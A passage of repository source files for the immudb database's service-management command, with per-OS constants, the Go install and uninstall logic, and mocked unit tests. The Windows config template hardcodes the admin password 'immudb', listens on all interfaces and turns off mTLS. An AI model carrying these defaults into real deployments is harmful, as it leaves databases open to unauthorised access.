    "content": "//go:build windows\n// +build windows\n\n/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage config\n\nvar ConfigImmudb = []byte(`dir = \"%programdata%\\\\Immudb\\\\data\"\nnetwork = \"tcp\"\naddress = \"0.0.0.0\"\nport = 3322\ndbname = \"data\"\npidfile = \"%programdata%\\\\Immudb\\\\config\\\\immudb.pid\"\nlogfile = \"%programdata%\\\\Immudb\\\\config\\\\immudb.log\"\nmtls = false\ndetached = false\nauth = true\npkey = \"\"\ncertificate = \"\"\nclientcas = \"\"\ndevmode = true\nadmin-password = \"immudb\"`)\n"
  },
  {
    "path": "cmd/immudb/command/service/constant.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage service\n\nimport \"errors\"\n\nvar (\n\t// ErrUnsupportedSystem appears if try to use service on system which is not supported by this release\n\tErrUnsupportedSystem = errors.New(\"unsupported system\")\n\n\t// ErrRootPrivileges appears if run installation or deleting the service without root privileges\n\tErrRootPrivileges = errors.New(\"you must have root user privileges. Possibly using 'sudo' command should help\")\n\n\t// ErrExecNotFound provided executable file does not exists\n\tErrExecNotFound = errors.New(\"executable file does not exists or not provided\")\n\n\t// ErrServiceNotInstalled provided executable file does not exists\n\tErrServiceNotInstalled = errors.New(\"Service is not installed\")\n)\n"
  },
  {
    "path": "cmd/immudb/command/service/constants/freebsd.dist.go",
    "content": "//go:build freebsd\n// +build freebsd\n\n/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage constants\n\nimport \"fmt\"\n\nconst ExecPath = \"/usr/sbin/\"\nconst ConfigPath = \"/etc/\"\nconst OSUser = \"immu\"\nconst OSGroup = \"immu\"\n\nvar StartUpConfig = \"\"\n\n// UsageDet details on config and log file on specific os\nvar UsageDet = fmt.Sprintf(`Config file is present in %s. Log file is in /var/log/immudb`, ConfigPath)\n\n// UsageExamples usage examples for linux\nvar UsageExamples = fmt.Sprintf(`Install the immutable database\nsudo ./immudb service install    -  Installs the daemon\nsudo ./immudb service stop       -  Stops the daemon\nsudo ./immudb service start      -  Starts initialized daemon\nsudo ./immudb service restart    -  Restarts daemon\nsudo ./immudb service uninstall  -  Removes daemon and its setup\nUninstall immudb after 20 second\nsudo ./immudb service install --time 20 immudb`)\n"
  },
  {
    "path": "cmd/immudb/command/service/constants/linux.dist.go",
    "content": "//go:build linux || darwin\n// +build linux darwin\n\n/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage constants\n\nimport \"fmt\"\n\nconst ExecPath = \"/usr/sbin/\"\nconst ConfigPath = \"/etc/\"\nconst OSUser = \"immu\"\nconst OSGroup = \"immu\"\n\nvar StartUpConfig = fmt.Sprintf(`[Unit]\nDescription={{.Description}}\nRequires={{.Dependencies}}\nAfter={{.Dependencies}}\n\n[Service]\nPIDFile=/var/lib/immudb/{{.Name}}.pid\nExecStartPre=/bin/rm -f /var/lib/immudb/{{.Name}}.pid\nExecStart={{.Path}} {{.Args}}\nRestart=on-failure\nUser=%s\nGroup=%s\n\n[Install]\nWantedBy=multi-user.target\n`, OSUser, OSGroup)\n\n// UsageDet details on config and log file on specific os\nvar UsageDet = fmt.Sprintf(`Config file is present in %s. Log file is in /var/log/immudb`, ConfigPath)\n\n// UsageExamples usage examples for linux\nvar UsageExamples = `Install the immutable database\nsudo ./immudb service install    -  Installs the daemon\nsudo ./immudb service stop       -  Stops the daemon\nsudo ./immudb service start      -  Starts initialized daemon\nsudo ./immudb service restart    -  Restarts daemon\nsudo ./immudb service uninstall  -  Removes daemon and its setup\nUninstall immudb after 20 second\nsudo ./immudb service install --time 20 immudb`\n"
  },
  {
    "path": "cmd/immudb/command/service/constants/windows.dist.go",
    "content": "//go:build windows\n// +build windows\n\n/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage constants\n\nimport \"fmt\"\n\nconst ExecPath = \"\"\nconst ConfigPath = \"\"\nconst OSUser = \"\"\nconst OSGroup = \"\"\n\nvar StartUpConfig = \"\"\n\n// UsageDet details on config and log file on specific os\nvar UsageDet = fmt.Sprintf(`Config and log files are present in C:\\ProgramData\\Immudb folder`)\n\n// UsageExamples usage examples for linux\nvar UsageExamples = fmt.Sprintf(`Install the immutable database\nimmudb.exe  service install    -  Initializes and runs daemon\nimmudb.exe  service stop       -  Stops the daemon\nimmudb.exe  service start      -  Starts initialized daemon\nimmudb.exe  service restart    -  Restarts daemon\nimmudb.exe  service uninstall  -  Removes daemon and its setup\nUninstall immudb after 20 second\nimmudb.exe  service uninstall --time 20 immudb.exe`)\n"
  },
  {
    "path": "cmd/immudb/command/service/service.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage service\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"os\"\n\t\"os/exec\"\n\t\"strconv\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/cmd/immudb/command/service/constants\"\n\n\t\"github.com/spf13/cobra\"\n\tdaem \"github.com/takama/daemon\"\n)\n\nvar availableCommands = []string{\"install\", \"uninstall\", \"start\", \"stop\", \"restart\", \"status\"}\n\nfunc (cl *commandline) Service(cmd *cobra.Command) {\n\tccmd := &cobra.Command{\n\t\tUse:   fmt.Sprintf(\"service %v\", availableCommands),\n\t\tShort: \"Immudb service management tool\",\n\t\tLong: `Manage immudb service.\nRoot permission are required in order to make administrator operations.\nCurrently working on linux, windows and freebsd operating systems.\n`,\n\t\tValidArgs: availableCommands,\n\t\tExample:   constants.UsageExamples,\n\t\tArgs: func(cmd *cobra.Command, args []string) error {\n\t\t\tif len(args) < 1 {\n\t\t\t\treturn errors.New(\"required a command name\")\n\t\t\t}\n\t\t\tif !stringInSlice(args[0], availableCommands) {\n\t\t\t\treturn fmt.Errorf(\"invalid command argument specified: %s. Available list is %v\", args[0], availableCommands)\n\t\t\t}\n\t\t\treturn nil\n\t\t},\n\t\tRunE: func(cmd *cobra.Command, args []string) (err error) {\n\n\t\t\tif ok, e := cl.sservice.IsAdmin(); !ok {\n\t\t\t\treturn e\n\t\t\t}\n\t\t\t// delayed operation\n\t\t\tt, _ := cmd.Flags().GetInt(\"time\")\n\t\t\tif t > 0 {\n\t\t\t\t// if t is present we relaunch same command with --delayed flag set\n\t\t\t\tvar argi []string\n\t\t\t\tfor i, k := range os.Args {\n\t\t\t\t\tif k == \"--time\" || k == \"-t\" {\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t\tif _, err = strconv.ParseFloat(k, 64); err == nil {\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t\tif i != 0 {\n\t\t\t\t\t\targi = append(argi, k)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\targi = append(argi, \"--delayed\", strconv.Itoa(t))\n\t\t\t\tif err = launch(os.Args[0], argi); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\t// if delayed flag is set we delay the execution of the action\n\t\t\td, _ := cmd.Flags().GetInt(\"delayed\")\n\t\t\tif d > 0 {\n\t\t\t\ttime.Sleep(time.Duration(d) * time.Second)\n\t\t\t}\n\n\t\t\tvar msg string\n\n\t\t\tdaemon, err := cl.sservice.NewDaemon(\"immudb\", \"immudb - the immutable database\")\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tvar u string\n\t\t\tswitch args[0] {\n\t\t\tcase \"install\":\n\t\t\t\tif err = cl.sservice.InstallSetup(\"immudb\", cmd.Parent()); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tvar cp string\n\t\t\t\tif cp, err = cl.sservice.GetDefaultConfigPath(\"immudb\"); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tif msg, err = daemon.Install(\"--config\", cp); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tfmt.Fprintf(cmd.OutOrStdout(), \"%s\\n\", msg)\n\n\t\t\t\tif msg, err = daemon.Start(); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tfmt.Fprintf(cmd.OutOrStdout(), \"%s\\n\", msg)\n\n\t\t\t\treturn nil\n\t\t\tcase \"uninstall\":\n\t\t\t\t// check if already installed\n\t\t\t\tvar status string\n\t\t\t\tif status, err = daemon.Status(); err != nil {\n\t\t\t\t\tif err == daem.ErrNotInstalled {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tfmt.Fprintf(cmd.OutOrStdout(), \"Are you sure you want to uninstall %s? [y/N]\", \"immudb\")\n\t\t\t\tif u, err = cl.treader.ReadFromTerminalYN(\"N\"); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tif u != \"y\" {\n\t\t\t\t\tfmt.Fprintf(cmd.OutOrStdout(), \"%s\\n\", msg)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\t// stopping service first\n\t\t\t\tif cl.sservice.IsRunning(status) {\n\t\t\t\t\tif msg, err = daemon.Stop(); err != nil {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\t\t\t\t\tfmt.Fprintf(cmd.OutOrStdout(), \"%s\\n\", msg)\n\t\t\t\t}\n\t\t\t\tif msg, err = daemon.Remove(); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tfmt.Fprintf(cmd.OutOrStdout(), \"%s\\n\", msg)\n\n\t\t\t\tfmt.Fprintf(cmd.OutOrStdout(), \"Erase data? [y/N]\")\n\t\t\t\tif u, err = cl.treader.ReadFromTerminalYN(\"N\"); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tif u != \"y\" {\n\t\t\t\t\tfmt.Fprintf(cmd.OutOrStdout(), \"No data removed\\n\")\n\t\t\t\t} else {\n\t\t\t\t\tif err = cl.sservice.EraseData(\"immudb\"); err != nil {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\t\t\t\t\tfmt.Fprintf(cmd.OutOrStdout(), \"Data folder removed\\n\")\n\t\t\t\t}\n\t\t\t\tif err = cl.sservice.UninstallSetup(\"immudb\"); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tfmt.Fprintf(cmd.OutOrStdout(), \"Program files removed\\n\")\n\n\t\t\t\treturn nil\n\t\t\tcase \"start\":\n\t\t\t\tif msg, err = daemon.Start(); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tfmt.Fprintf(cmd.OutOrStdout(), \"%s\\n\", msg)\n\t\t\t\treturn nil\n\t\t\tcase \"stop\":\n\t\t\t\tif msg, err = daemon.Stop(); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tfmt.Fprintf(cmd.OutOrStdout(), \"%s\\n\", msg)\n\t\t\t\treturn nil\n\t\t\tcase \"restart\":\n\t\t\t\tif _, err = daemon.Stop(); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tfmt.Fprintf(cmd.OutOrStdout(), \"%s\\n\", msg)\n\t\t\t\tif msg, err = daemon.Start(); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tfmt.Fprintf(cmd.OutOrStdout(), \"%s\\n\", msg)\n\t\t\t\treturn nil\n\t\t\tcase \"status\":\n\t\t\t\tif msg, err = daemon.Status(); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tfmt.Fprintf(cmd.OutOrStdout(), \"%s\\n\", msg)\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\treturn nil\n\t\t},\n\t}\n\tccmd.PersistentFlags().IntP(\"time\", \"t\", 0, \"number of seconds to wait before stopping | restarting the service\")\n\tccmd.PersistentFlags().Int(\"delayed\", 0, \"number of seconds to wait before repeat the parent command. HIDDEN\")\n\tccmd.PersistentFlags().MarkHidden(\"delayed\")\n\tcmd.AddCommand(ccmd)\n}\n\nfunc stringInSlice(a string, list []string) bool {\n\tfor _, b := range list {\n\t\tif b == a {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\nfunc launch(command string, args []string) (err error) {\n\tcmd := exec.Command(command, args...)\n\tif err = cmd.Start(); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "cmd/immudb/command/service/service_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage service\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/cmd/helper\"\n\t\"github.com/codenotary/immudb/cmd/immudb/command/service/servicetest\"\n\t\"github.com/stretchr/testify/require\"\n\t\"github.com/takama/daemon\"\n\n\t\"github.com/codenotary/immudb/pkg/client/clienttest\"\n\t\"github.com/spf13/cobra\"\n\t\"github.com/stretchr/testify/assert\"\n)\n\nfunc TestCommandLine_ServiceImmudbInstall(t *testing.T) {\n\tcmd := &cobra.Command{}\n\ttr := &clienttest.TerminalReaderMock{}\n\tcld := commandline{helper.Config{}, servicetest.NewSservicemock(), tr}\n\n\tcld.Service(cmd)\n\tb := bytes.NewBufferString(\"\")\n\tcmd.SetOut(b)\n\tcmd.SetArgs([]string{\"service\", \"install\"})\n\terr := cmd.Execute()\n\tassert.NoError(t, err)\n}\n\nfunc TestCommandLine_ServiceImmudbUninstallAbortUnintall(t *testing.T) {\n\tcmd := &cobra.Command{}\n\ttr := &clienttest.TerminalReaderMock{}\n\ttr.Responses = []string{\"n\"}\n\tcld := commandline{helper.Config{}, servicetest.NewSservicemock(), tr}\n\n\tcld.Service(cmd)\n\tcmd.SetArgs([]string{\"service\", \"uninstall\"})\n\terr := cmd.Execute()\n\tassert.NoError(t, err)\n}\n\nfunc TestCommandLine_ServiceImmudbUninstallRemovingData(t *testing.T) {\n\tcmd := &cobra.Command{}\n\ttr := &clienttest.TerminalReaderMock{}\n\ttr.Responses = []string{\"y\", \"y\"}\n\tcld := commandline{helper.Config{}, servicetest.NewSservicemock(), tr}\n\n\tcld.Service(cmd)\n\tb := bytes.NewBufferString(\"\")\n\tcmd.SetOut(b)\n\tcmd.SetArgs([]string{\"service\", \"uninstall\"})\n\terr := cmd.Execute()\n\tassert.NoError(t, err)\n\tout, err := ioutil.ReadAll(b)\n\trequire.NoError(t, err)\n\tassert.Contains(t, string(out), \"uninstall\")\n}\n\nfunc TestCommandLine_ServiceImmudbUninstallWithoutRemoveData(t *testing.T) {\n\tcmd := &cobra.Command{}\n\ttr := &clienttest.TerminalReaderMock{}\n\ttr.Responses = []string{\"y\", \"n\"}\n\tcld := commandline{helper.Config{}, servicetest.NewSservicemock(), tr}\n\n\tcld.Service(cmd)\n\tb := bytes.NewBufferString(\"\")\n\tcmd.SetOut(b)\n\tcmd.SetArgs([]string{\"service\", \"uninstall\"})\n\terr := cmd.Execute()\n\tassert.NoError(t, err)\n\tout, err := ioutil.ReadAll(b)\n\trequire.NoError(t, err)\n\tassert.Contains(t, string(out), \"uninstall\")\n}\n\nfunc TestCommandLine_ServiceImmudbStop(t *testing.T) {\n\tcmd := &cobra.Command{}\n\ttr := &clienttest.TerminalReaderMock{}\n\tcld := commandline{helper.Config{}, servicetest.NewSservicemock(), tr}\n\tcld.Service(cmd)\n\tcmd.SetArgs([]string{\"service\", \"stop\"})\n\terr := cmd.Execute()\n\tassert.NoError(t, err)\n}\n\nfunc TestCommandLine_ServiceImmudbStart(t *testing.T) {\n\tcmd := &cobra.Command{}\n\ttr := &clienttest.TerminalReaderMock{}\n\tcld := commandline{helper.Config{}, servicetest.NewSservicemock(), tr}\n\tcld.Service(cmd)\n\tcmd.SetArgs([]string{\"service\", \"start\"})\n\terr := cmd.Execute()\n\tassert.NoError(t, err)\n}\n\nfunc TestCommandLine_ServiceImmudbDelayed(t *testing.T) {\n\tcmd := &cobra.Command{}\n\ttr := &clienttest.TerminalReaderMock{}\n\tcld := commandline{helper.Config{}, servicetest.NewSservicemock(), tr}\n\tcld.Service(cmd)\n\toldArgs := os.Args\n\tdefer func() { os.Args = oldArgs }()\n\tos.Args = []string{\"--time\", \"1\"}\n\tcmd.SetArgs([]string{\"service\", \"stop\", \"--time\", \"1\"})\n\terr := cmd.Execute()\n\tassert.Error(t, err)\n}\n\nfunc TestCommandLine_ServiceImmudbDelayedInner(t *testing.T) {\n\tcmd := &cobra.Command{}\n\ttr := &clienttest.TerminalReaderMock{}\n\tcld := commandline{helper.Config{}, servicetest.NewSservicemock(), tr}\n\tcld.Service(cmd)\n\toldArgs := os.Args\n\tdefer func() { os.Args = oldArgs }()\n\tos.Args = []string{\"--delayed\", \"1\"}\n\tcmd.SetArgs([]string{\"service\", \"stop\", \"--delayed\", \"1\"})\n\terr := cmd.Execute()\n\tassert.NoError(t, err)\n}\n\nfunc TestCommandLine_ServiceImmudbExtraArgs(t *testing.T) {\n\tcmd := &cobra.Command{}\n\ttr := &clienttest.TerminalReaderMock{}\n\tcld := commandline{helper.Config{}, servicetest.NewSservicemock(), tr}\n\tcld.Service(cmd)\n\toldArgs := os.Args\n\tdefer func() { os.Args = oldArgs }()\n\tos.Args = []string{\"--time\", \"1\", \"dummy\"}\n\tcmd.SetArgs([]string{\"service\", \"stop\", \"--time\", \"1\", \"dummy\"})\n\terr := cmd.Execute()\n\tassert.Error(t, err)\n}\n\nfunc TestCommandLine_ServiceImmudbRestart(t *testing.T) {\n\tcmd := &cobra.Command{}\n\ttr := &clienttest.TerminalReaderMock{}\n\tcld := commandline{helper.Config{}, servicetest.NewSservicemock(), tr}\n\tcld.Service(cmd)\n\tcmd.SetArgs([]string{\"service\", \"restart\"})\n\terr := cmd.Execute()\n\tassert.NoError(t, err)\n}\n\nfunc TestCommandLine_ServiceImmudbStatus(t *testing.T) {\n\tcmd := &cobra.Command{}\n\ttr := &clienttest.TerminalReaderMock{}\n\tcld := commandline{helper.Config{}, servicetest.NewSservicemock(), tr}\n\tcld.Service(cmd)\n\tcmd.SetArgs([]string{\"service\", \"status\"})\n\terr := cmd.Execute()\n\tassert.NoError(t, err)\n}\n\nfunc TestCommandline_ServiceNewDaemonError(t *testing.T) {\n\tcmd := &cobra.Command{}\n\ttr := &clienttest.TerminalReaderMock{}\n\tss := servicetest.NewSservicemock()\n\tss.NewDaemonF = func(serviceName, description string, dependencies ...string) (d daemon.Daemon, err error) {\n\t\treturn nil, fmt.Errorf(\"error\")\n\t}\n\tcld := commandline{helper.Config{}, ss, tr}\n\tcld.Service(cmd)\n\tcmd.SetArgs([]string{\"service\", \"status\"})\n\terr := cmd.Execute()\n\trequire.Error(t, err)\n}\n\nfunc TestCommandline_ServiceInstallSetupError(t *testing.T) {\n\tcmd := &cobra.Command{}\n\ttr := &clienttest.TerminalReaderMock{}\n\tss := servicetest.NewSservicemock()\n\tss.InstallSetupF = func(serviceName string, cmd *cobra.Command) (err error) {\n\t\treturn fmt.Errorf(\"error\")\n\t}\n\tcld := commandline{helper.Config{}, ss, tr}\n\tcld.Service(cmd)\n\tcmd.SetArgs([]string{\"service\", \"install\"})\n\terr := cmd.Execute()\n\trequire.Error(t, err)\n}\n\nfunc TestCommandline_ServiceGetDefaultConfigPathError(t *testing.T) {\n\tcmd := &cobra.Command{}\n\ttr := &clienttest.TerminalReaderMock{}\n\tss := servicetest.NewSservicemock()\n\tss.GetDefaultConfigPathF = func(serviceName string) (string, error) {\n\t\treturn \"\", fmt.Errorf(\"error\")\n\t}\n\tcld := commandline{helper.Config{}, ss, tr}\n\tcld.Service(cmd)\n\tcmd.SetArgs([]string{\"service\", \"install\"})\n\terr := cmd.Execute()\n\trequire.Error(t, err)\n}\n\nfunc TestCommandline_ServiceInstallError(t *testing.T) {\n\tcmd := &cobra.Command{}\n\ttr := &clienttest.TerminalReaderMock{}\n\n\tss := servicetest.NewSservicemock()\n\tss.NewDaemonF = func(serviceName, description string, dependencies ...string) (d daemon.Daemon, err error) {\n\t\tdm := servicetest.NewDaemonMock()\n\t\tdm.InstallF = func(args ...string) (string, error) {\n\t\t\treturn \"\", fmt.Errorf(\"error\")\n\t\t}\n\t\treturn dm, nil\n\t}\n\tcld := commandline{helper.Config{}, ss, tr}\n\tcld.Service(cmd)\n\tcmd.SetArgs([]string{\"service\", \"install\"})\n\terr := cmd.Execute()\n\trequire.Error(t, err)\n}\n\nfunc TestCommandline_ServiceInstallDaemonStartError(t *testing.T) {\n\tcmd := &cobra.Command{}\n\ttr := &clienttest.TerminalReaderMock{}\n\n\tss := servicetest.NewSservicemock()\n\tss.NewDaemonF = func(serviceName, description string, dependencies ...string) (d daemon.Daemon, err error) {\n\t\tdm := servicetest.NewDaemonMock()\n\t\tdm.StartF = func() (string, error) {\n\t\t\treturn \"\", fmt.Errorf(\"error\")\n\t\t}\n\t\treturn dm, nil\n\t}\n\tcld := commandline{helper.Config{}, ss, tr}\n\tcld.Service(cmd)\n\tcmd.SetArgs([]string{\"service\", \"install\"})\n\terr := cmd.Execute()\n\trequire.Error(t, err)\n}\n\nfunc TestCommandline_ServiceUninstallDaemonStatusError(t *testing.T) {\n\tcmd := &cobra.Command{}\n\ttr := &clienttest.TerminalReaderMock{}\n\n\tss := servicetest.NewSservicemock()\n\tss.NewDaemonF = func(serviceName, description string, dependencies ...string) (d daemon.Daemon, err error) {\n\t\tdm := servicetest.NewDaemonMock()\n\t\tdm.StatusF = func() (string, error) {\n\t\t\treturn \"\", daemon.ErrNotInstalled\n\t\t}\n\t\treturn dm, nil\n\t}\n\tcld := commandline{helper.Config{}, ss, tr}\n\tcld.Service(cmd)\n\tcmd.SetArgs([]string{\"service\", \"uninstall\"})\n\terr := cmd.Execute()\n\trequire.Error(t, err)\n}\n\nfunc TestCommandline_ServiceUninstallIsRunning(t *testing.T) {\n\tcmd := &cobra.Command{}\n\ttr := &clienttest.TerminalReaderMock{}\n\ttr.Responses = []string{\"y\", \"y\"}\n\n\tss := servicetest.NewSservicemock()\n\tss.IsRunningF = func(status string) bool {\n\t\treturn true\n\t}\n\tcld := commandline{helper.Config{}, ss, tr}\n\tcld.Service(cmd)\n\tcmd.SetArgs([]string{\"service\", \"uninstall\"})\n\terr := cmd.Execute()\n\trequire.NoError(t, err)\n}\n\nfunc TestCommandline_ServiceUninstallEraseDataError(t *testing.T) {\n\tcmd := &cobra.Command{}\n\ttr := &clienttest.TerminalReaderMock{}\n\ttr.Responses = []string{\"y\", \"y\"}\n\n\tss := servicetest.NewSservicemock()\n\tss.EraseDataF = func(serviceName string) error {\n\t\treturn fmt.Errorf(\"error\")\n\t}\n\tcld := commandline{helper.Config{}, ss, tr}\n\tcld.Service(cmd)\n\tcmd.SetArgs([]string{\"service\", \"uninstall\"})\n\terr := cmd.Execute()\n\trequire.Error(t, err)\n}\n\nfunc TestCommandline_ServiceUninstallNotWanted(t *testing.T) {\n\tcmd := &cobra.Command{}\n\ttr := &clienttest.TerminalReaderMock{}\n\ttr.Responses = []string{\"n\"}\n\n\tss := servicetest.NewSservicemock()\n\n\tcld := commandline{helper.Config{}, ss, tr}\n\tcld.Service(cmd)\n\tcmd.SetArgs([]string{\"service\", \"uninstall\"})\n\terr := cmd.Execute()\n\trequire.NoError(t, err)\n}\nfunc TestCommandline_ServiceUninstallTerminalError(t *testing.T) {\n\tcmd := &cobra.Command{}\n\ttr := &clienttest.TerminalReaderMock{}\n\ttr.ReadFromTerminalYNF = func(string) (string, error) {\n\t\treturn \"\", fmt.Errorf(\"error\")\n\t}\n\tss := servicetest.NewSservicemock()\n\tcld := commandline{helper.Config{}, ss, tr}\n\tcld.Service(cmd)\n\tcmd.SetArgs([]string{\"service\", \"uninstall\"})\n\terr := cmd.Execute()\n\trequire.Error(t, err)\n}\n\nfunc TestCommandline_ServiceUninstallDaemonStopError(t *testing.T) {\n\tcmd := &cobra.Command{}\n\ttr := &clienttest.TerminalReaderMock{}\n\ttr.Responses = []string{\"y\", \"y\"}\n\n\tss := servicetest.NewSservicemock()\n\tss.NewDaemonF = func(serviceName, description string, dependencies ...string) (d daemon.Daemon, err error) {\n\t\tdm := servicetest.NewDaemonMock()\n\t\tdm.StopF = func() (string, error) {\n\t\t\treturn \"\", fmt.Errorf(\"error\")\n\t\t}\n\t\treturn dm, nil\n\t}\n\tss.IsRunningF = func(status string) bool {\n\t\treturn true\n\t}\n\tcld := commandline{helper.Config{}, ss, tr}\n\tcld.Service(cmd)\n\tcmd.SetArgs([]string{\"service\", \"uninstall\"})\n\terr := cmd.Execute()\n\trequire.Error(t, err)\n}\n\nfunc TestCommandline_ServiceUninstallDaemonRemoveError(t *testing.T) {\n\tcmd := &cobra.Command{}\n\ttr := &clienttest.TerminalReaderMock{}\n\ttr.Responses = []string{\"y\", \"y\"}\n\n\tss := servicetest.NewSservicemock()\n\tss.NewDaemonF = func(serviceName, description string, dependencies ...string) (d daemon.Daemon, err error) {\n\t\tdm := servicetest.NewDaemonMock()\n\t\tdm.RemoveF = func() (string, error) {\n\t\t\treturn \"\", fmt.Errorf(\"error\")\n\t\t}\n\t\treturn dm, nil\n\t}\n\tss.IsRunningF = func(status string) bool {\n\t\treturn true\n\t}\n\tcld := commandline{helper.Config{}, ss, tr}\n\tcld.Service(cmd)\n\tcmd.SetArgs([]string{\"service\", \"uninstall\"})\n\terr := cmd.Execute()\n\trequire.Error(t, err)\n}\n\nfunc TestCommandline_ServiceUninstallDaemonUninstallSetupError(t *testing.T) {\n\tcmd := &cobra.Command{}\n\ttr := &clienttest.TerminalReaderMock{}\n\ttr.Responses = []string{\"y\", \"y\"}\n\n\tss := servicetest.NewSservicemock()\n\n\tss.UninstallSetupF = func(serviceName string) (err error) {\n\t\treturn fmt.Errorf(\"error\")\n\t}\n\tcld := commandline{helper.Config{}, ss, tr}\n\tcld.Service(cmd)\n\tcmd.SetArgs([]string{\"service\", \"uninstall\"})\n\terr := cmd.Execute()\n\trequire.Error(t, err)\n}\n\nfunc TestCommandline_ServiceStartDaemonStartError(t *testing.T) {\n\tcmd := &cobra.Command{}\n\ttr := &clienttest.TerminalReaderMock{}\n\n\tss := servicetest.NewSservicemock()\n\tss.NewDaemonF = func(serviceName, description string, dependencies ...string) (d daemon.Daemon, err error) {\n\t\tdm := servicetest.NewDaemonMock()\n\t\tdm.StartF = func() (string, error) {\n\t\t\treturn \"\", fmt.Errorf(\"error\")\n\t\t}\n\t\treturn dm, nil\n\t}\n\tcld := commandline{helper.Config{}, ss, tr}\n\tcld.Service(cmd)\n\tcmd.SetArgs([]string{\"service\", \"start\"})\n\terr := cmd.Execute()\n\trequire.Error(t, err)\n}\n\nfunc TestCommandline_ServiceStopDaemonStopError(t *testing.T) {\n\tcmd := &cobra.Command{}\n\ttr := &clienttest.TerminalReaderMock{}\n\n\tss := servicetest.NewSservicemock()\n\tss.NewDaemonF = func(serviceName, description string, dependencies ...string) (d daemon.Daemon, err error) {\n\t\tdm := servicetest.NewDaemonMock()\n\t\tdm.StopF = func() (string, error) {\n\t\t\treturn \"\", 